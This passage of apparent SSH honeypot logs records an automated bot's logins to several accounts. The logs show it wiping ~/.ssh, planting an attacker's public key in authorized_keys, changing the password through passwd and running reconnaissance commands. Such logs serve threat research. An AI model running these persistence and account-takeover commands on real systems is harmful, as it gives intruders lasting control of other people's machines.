\"password\\nTCUDKGoZz07C\\nTCUDKGoZz07C\"|passwd|bash"},{"seq":6,"at":"2026-08-26T11:50:46.400806+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\nTCUDKGoZz07C\\nTCUDKGoZz07C\\n\"|passwd"},{"seq":7,"at":"2026-08-26T11:50:47.302919+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:50:47.591435+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:50:48.502384+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:50:49.567415+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:50:50.443723+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:50:51.331627+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:50:52.207208+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:50:52.982372+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:50:53.897109+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:50:54.218746+00:00","kind":"output","latency_ms":null,"data":" 11:50:54 up 6 days, 8:41, 0 user, load average: 0.31, 0.39, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:50:55.100624+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:50:55.821288+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:50:56.699645+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:50:57.502285+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:50:58.412335+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:50:58.770959+00:00","kind":"output","latency_ms":null,"data":"top - 11:50:58 up 6 days, 8:41, 0 user, load average: 0.31, 0.39, 0.27\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:50:59.695551+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:51:00.521495+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:51:01.405092+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:51:01.838863+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:51:02.717235+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:51:03.034343+00:00","kind":"output","latency_ms":null,"data":"vmuser"},{"seq":29,"at":"2026-08-26T11:51:03.918325+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:51:05.372112+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:51:06.243473+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:51:07.387922+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"vmuser","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"04f22665-22bd-444f-b6f3-5fb2ba76071a","name":"icy-diligent-mole","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":44116,"username":"vmuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:50:41.588699+00:00","ended_at":"2026-08-26T11:50:43.603396+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"vmuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ce4f8bb9-253d-4684-9807-e01a7ca25ea8","name":"civil-coastal-barbet","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":44108,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:50:38.499569+00:00","ended_at":"2026-08-26T11:50:39.817741+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5ccf32f3-cbe9-4adf-8fe7-23943a53de80","name":"woven-amiable-lorikeet","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":43898,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":864,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:48:24.883383+00:00","ended_at":"2026-08-26T11:48:26.523120+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2129,"events":[{"seq":1,"at":"2026-08-26T11:47:53.883248+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:47:54.720802+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:48:02.489380+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:48:03.321632+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:48:04.186700+00:00","kind":"input","latency_ms":null,"data":"echo -e \"deploy@2026\\nrQ81IJljQOAy\\nrQ81IJljQOAy\"|passwd|bash"},{"seq":6,"at":"2026-08-26T11:48:05.022191+00:00","kind":"input","latency_ms":null,"data":"echo \"deploy@2026\\nrQ81IJljQOAy\\nrQ81IJljQOAy\\n\"|passwd"},{"seq":7,"at":"2026-08-26T11:48:05.886666+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:48:06.188105+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:48:07.050257+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:48:08.387806+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:48:09.285804+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:48:10.348281+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:48:11.196202+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:48:11.942534+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:48:12.791180+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:48:13.050199+00:00","kind":"output","latency_ms":null,"data":" 11:48:13 up 6 days, 8:38, 0 user, load average: 0.13, 0.1, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:48:13.900574+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:48:14.218678+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:48:15.054266+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:48:15.806245+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:48:16.683592+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:48:17.189881+00:00","kind":"output","latency_ms":null,"data":"top - 11:48:17 up 6 days, 8:38, 0 user, load average: 0.13, 0.1, 0.09\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:48:18.055799+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:48:18.894142+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:48:19.758741+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:48:20.474556+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:48:21.325153+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:48:21.810156+00:00","kind":"output","latency_ms":null,"data":"deploy"},{"seq":29,"at":"2026-08-26T11:48:22.683667+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:48:23.996905+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:48:24.884368+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:48:26.252895+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deploy","password":"deploy@2026","method":"password","accepted":true,"tier":"other"}]} {"id":"8ff1ffc8-d96a-489f-b261-6fce9ed935cd","name":"woven-crisp-ermine","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":43916,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:48:00.553440+00:00","ended_at":"2026-08-26T11:48:02.214616+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"deploy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7d7874b0-feb9-4a79-8719-39a23ef61b4f","name":"hazel-wooded-seal","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":43908,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:47:56.755641+00:00","ended_at":"2026-08-26T11:47:58.790593+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"efda98f5-9861-49eb-9297-205440d44688","name":"spirited-ashen-chough","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":43698,"username":"www","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":873,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:45:49.197397+00:00","ended_at":"2026-08-26T11:45:50.712730+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2113,"events":[{"seq":1,"at":"2026-08-26T11:45:18.495303+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:45:19.404016+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:45:26.917776+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:45:27.489294+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:45:28.394945+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password1\\nhOrNE6lEzefy\\nhOrNE6lEzefy\"|passwd|bash"},{"seq":6,"at":"2026-08-26T11:45:29.394220+00:00","kind":"input","latency_ms":null,"data":"echo \"Password1\\nhOrNE6lEzefy\\nhOrNE6lEzefy\\n\"|passwd"},{"seq":7,"at":"2026-08-26T11:45:30.294562+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:45:30.560598+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:45:31.426343+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:45:32.661047+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:45:33.527609+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:45:34.913765+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:45:35.796218+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:45:36.345853+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:45:37.218714+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:45:37.638107+00:00","kind":"output","latency_ms":null,"data":" 11:45:37 up 6 days, 8:35, 0 user, load average: 0.13, 0.14, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:45:38.502849+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:45:39.032360+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:45:39.895793+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:45:40.293158+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:45:41.199124+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:45:41.914602+00:00","kind":"output","latency_ms":null,"data":"top - 11:45:41 up 6 days, 8:35, 0 user, load average: 0.13, 0.14, 0.14\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:45:42.797645+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:45:43.233591+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:45:44.097377+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:45:44.716071+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:45:45.597311+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:45:46.234787+00:00","kind":"output","latency_ms":null,"data":"www"},{"seq":29,"at":"2026-08-26T11:45:47.097863+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:45:48.324660+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:45:49.198211+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:45:50.436454+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"www","password":"Password1","method":"password","accepted":true,"tier":"other"}]} {"id":"22a06204-1dd6-424f-a5cd-4bbab52a4dd9","name":"patient-diligent-martin","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":43714,"username":"www","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:45:24.886485+00:00","ended_at":"2026-08-26T11:45:26.635154+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"www","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6f924901-75a7-4200-b548-04e771a1602c","name":"inland-arctic-lark","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":43706,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:45:21.495200+00:00","ended_at":"2026-08-26T11:45:23.189160+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2f739557-5a93-47b5-af38-f229af1575a9","name":"northern-scarlet-gharial","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":43498,"username":"tmpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":848,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:43:02.590725+00:00","ended_at":"2026-08-26T11:43:04.236263+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2102,"events":[{"seq":1,"at":"2026-08-26T11:42:32.200530+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:42:33.059694+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:42:40.619197+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:42:41.141681+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:42:41.998437+00:00","kind":"input","latency_ms":null,"data":"echo -e \"tmpuser\\nzhCOAQj1rpws\\nzhCOAQj1rpws\"|passwd|bash"},{"seq":6,"at":"2026-08-26T11:42:42.886079+00:00","kind":"input","latency_ms":null,"data":"echo \"tmpuser\\nzhCOAQj1rpws\\nzhCOAQj1rpws\\n\"|passwd"},{"seq":7,"at":"2026-08-26T11:42:43.752405+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:42:44.218869+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:42:45.091052+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:42:46.258950+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:42:47.107863+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:42:48.137756+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:42:48.994450+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:42:49.359568+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:42:50.199685+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:42:50.723945+00:00","kind":"output","latency_ms":null,"data":" 11:42:50 up 6 days, 8:32, 0 user, load average: 0.13, 0.14, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:42:51.587251+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:42:52.157413+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:42:52.998513+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:42:53.558257+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:42:54.402815+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:42:55.005722+00:00","kind":"output","latency_ms":null,"data":"top - 11:42:55 up 6 days, 8:33, 0 user, load average: 0.13, 0.14, 0.12\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:42:55.886154+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:42:56.464753+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:42:57.308141+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:42:57.926479+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:42:58.789852+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:42:59.648650+00:00","kind":"output","latency_ms":null,"data":"tmpuser"},{"seq":29,"at":"2026-08-26T11:43:00.493377+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:43:01.748483+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:43:02.591570+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:43:03.967501+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tmpuser","password":"tmpuser","method":"password","accepted":true,"tier":"other"}]} {"id":"eee6490f-e074-4bfc-9570-66c3e57a2816","name":"downy-frosty-eider","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":43512,"username":"tmpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:42:38.384061+00:00","ended_at":"2026-08-26T11:42:40.350917+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"tmpuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7a0e615a-35cb-477f-bc81-ae1ceac5959a","name":"reedy-alpine-fossa","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":43506,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:42:35.083935+00:00","ended_at":"2026-08-26T11:42:36.693089+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c88a40df-a844-48ad-9d3a-19291ed8dc4e","name":"salty-weathered-alpaca","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":43304,"username":"ec2-user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":847,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 